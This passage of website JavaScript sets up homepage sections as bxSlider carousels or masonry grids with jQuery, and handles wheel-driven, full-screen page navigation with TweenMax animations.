        if ($("#mservice").length) {
            if ($("#mservice .content.layoutslider").length) {
                this.layoutSlider($("#mservice"), {
                    sliders: 3,
                    mode: "horizontal"
                });
            } else if ($("#mservice .content.layoutmasonry").length) {
                this.layoutMasonry($("#mservice"));
            }
        }
        if ($("#mnews").length) {
            if ($("#mnews .content.layoutslider").length) {
                this.layoutSlider($("#mnews"), {
                    sliders: 2,
                    mode: "vertical",
                    wheel: 1
                });
            } else if ($("#mnews .content.layoutmasonry").length) {
                this.layoutMasonry($("#mnews"));
            }
        }
        if ($("#mteam").length) {
            if ($("#mteam .content.layoutslider").length) {
                this.layoutSlider($("#mteam"), {
                    sliders: 1,
                    mode: "horizontal"
                });
            } else if ($("#mteam .content.layoutmasonry").length) {
                this.layoutMasonry($("#mteam"));
            }
        }
        if ($("#mpartner").length) {
            if ($("#mpartner .content.layoutslider").length)
                this.layoutSlider($("#mpartner"), {
                    sliders: 1,
                    mode: "horizontal"
                });
        }
    },
    layoutSlider: function($element, dOptions) {
        var slideLength = $(".content_list > li", $element).length;
        if (slideLength) {
            var $slider = $(".content_list", $element);

            var slideNum = $slider.data("options-sliders") || dOptions.sliders || 1;
            var slideGroup = Math.ceil(slideLength / slideNum);
            var slideMargin = $slider.data("options-margin") || dOptions.margin || 0;
            var slideWidth = 0;

            var sliderWheel = $slider.data("options-wheel") != "undefined" ? Boolean($slider.data("options-wheel")) : (dOptions.wheel || false);
            //!!

            var sliderMode = $slider.data("options-mode") || dOptions.mode;

            $(".content_list > li", $element).each(function(index, element) {
                var $wowElement;
                if ($(element).hasClass('wow')) {
                    $wowElement = $(element);
                } else {
                    $wowElement = $('.wow', element);
                }

                if (index < slideNum) {
                    if ($wowElement.length)
                        $($wowElement).attr("data-wow-delay", "." + index + "s");
                } else {
                    if ($wowElement.length)
                        $($wowElement).removeClass('wow');
                }
            });

            if (sliderMode == "vertical") {
                $(window).on("resize.index_module", function(event) {
                    $("li", $slider).height(($(".content .wrapper", $element).height() - slideMargin * (slideNum - 1)) / slideNum);
                });
                $(window).trigger("resize.index_module");
            } else {
                slideWidth = parseInt($(".content .wrapper", $element).width() / slideNum);
                $(".content_list > li", $element).width(slideWidth);
            }

            var sliderOptions = {
                mode: sliderMode,
                slideWidth: slideWidth,
                minSlides: slideNum,
                maxSlides: slideNum,
                moveSlides: slideNum,
                slideMargin: slideMargin,
                nextText: '<i class="iconfont icon-right"></i>',
                prevText: '<i class="iconfont icon-left"></i>',
                infiniteLoop: 0,
                easing: $slider.data("options-ease"),
                speed: parseInt(String($slider.data("options-speed"))) * 1000 || 500
            }

            if (sliderWheel) {
                function v() {
                }
                var allowWheel = 1;

                sliderOptions.onSlideBefore = function() {
                    allowWheel = 0;
                }
                sliderOptions.onSlideAfter = function() {
                    allowWheel = 1;

                    v();
                }

                var mwTimer = Date.now();
                $slider.on("mousewheel", function(event, delta) {
                    event.preventDefault()
                    event.stopPropagation();
                    if (!allowWheel || TweenMax.isTweening("#indexPage") || Date.now() - mwTimer < sliderOptions.speed)
                        return;
                    mwTimer = Date.now();

                    var direction = delta > 0 ? "prev" : "next";
                    var current = sliderApp.getCurrentSlide();

                    if ((current == slideGroup - 1 && direction == "next") || (current == 0 && direction == "prev")) {
                        this.gotoPage(direction);
                        return;
                    }

                    //var _transformMatch=_transformCss.match(/matrix\(1, 0, 0, 1, 0, (-?\d+)\)/);
                    if (direction == "next") {
                        sliderApp.goToNextSlide();
                    } else {
                        sliderApp.goToPrevSlide();
                    }
                }
                .bind(this));
            }

            var sliderApp = $slider.bxSlider(sliderOptions);

            if (slideLength <= slideNum) {
                $(".slider_control", $element).hide();
            }
        }
    },
    layoutScroll: function() {
    },
    onMouseWheelIndex: function(event, delta) {
        var direction = delta > 0 ? "prev" : "next";

        this.gotoPage(direction);
    },
    onResizeIndex: function(event) {
        if (this.pageWidth != $(window).width() || this.pageHeight != $(window).height()) {
            this.pageWidth = $(window).width();
            this.pageHeight = $(window).height();

            if (this._singleScreen) {
                $("#mslider ul li").height(this.pageHeight);

                $(".module").height(this.pageHeight);

                this.$control.css("top", this.pageHeight / 2 - this.$control.height() / 2)

                TweenMax.set("#indexPage", {
                    y: -this.pageHeight * this.currentModuleIndex,
                    force3D: 1
                });
            } else {
                if ($("#mslider .slider").data("options-height") == "0") {
                    $("#mslider,#mslider ul li").height(this.pageHeight);
                }
            }
        }
        ;
    },
    onScrollIndex: function() {
        var sssT = 0;
        if (this._singleScreen) {
            this.scrollContainer.scrollTop = $("#indexPage")[0]._gsTransform && -$("#indexPage")[0]._gsTransform.y;
            sssT = this.scrollContainer.scrollTop;

            this.scrollContainer.scroll();
        }

        $(".module.bgShow").each(function(index, element) {
            if ($(this).css("background-attachment") == "fixed") {
                $(element).css("background-position", "center " + (sssT ? sssT : ($(element).position().top - $(window).scrollTop()) / 2) + "px");
            }
        });

    },
    proxyScroll: function() {},
    onGotoPageComplete: function() {},
    gotoPage: function(moduleIndex) {
        if (TweenMax.isTweening("#indexPage") && moduleIndex != 'refresh')
            return;

        if (moduleIndex == "next") {
            if (this.currentModuleIndex < this.totalModule - 1)
                this.currentModuleIndex++;
            else
                return;
        } else if (moduleIndex == "prev") {
            if (this.currentModuleIndex > 0)
                this.currentModuleIndex--;
            else
                return;
        } else if (moduleIndex == "refresh") {} else {
            moduleIndex = parseInt(moduleIndex);
            if (moduleIndex > -1 && moduleIndex > -1 && moduleIndex < this.totalModule) {
                this.currentModuleIndex = moduleIndex;
            } else
                return;
        }

        if (this.currentModuleIndex == 0) {
            this.$control.hide();
        } else {
            if ($(this.$control).css("display") == "none") {
                this.$control.show();
            }
        }

        $('.moduleCItem.active', this.$control).removeClass('active');
        $('.moduleCItem', this.$control).eq(this.currentModuleIndex).addClass('active');

        TweenMax.to("#indexPage", this._singleScreen.speed, {
            y: -this.pageHeight * this.currentModuleIndex,
            force3D: 1,
            ease: this._singleScreen.ease,
            onUpdate: this.onScrollIndex.bind(this),
            onComplete: this.onGotoPageComplete.bind(this)
        });
    }
});

$(function() {
    var dataMain = $("script[data-main]").attr("data-main");
    $("head script").remove();
    if (dataMain && YY.Page[dataMain])
        new YY.Page[dataMain]();
});
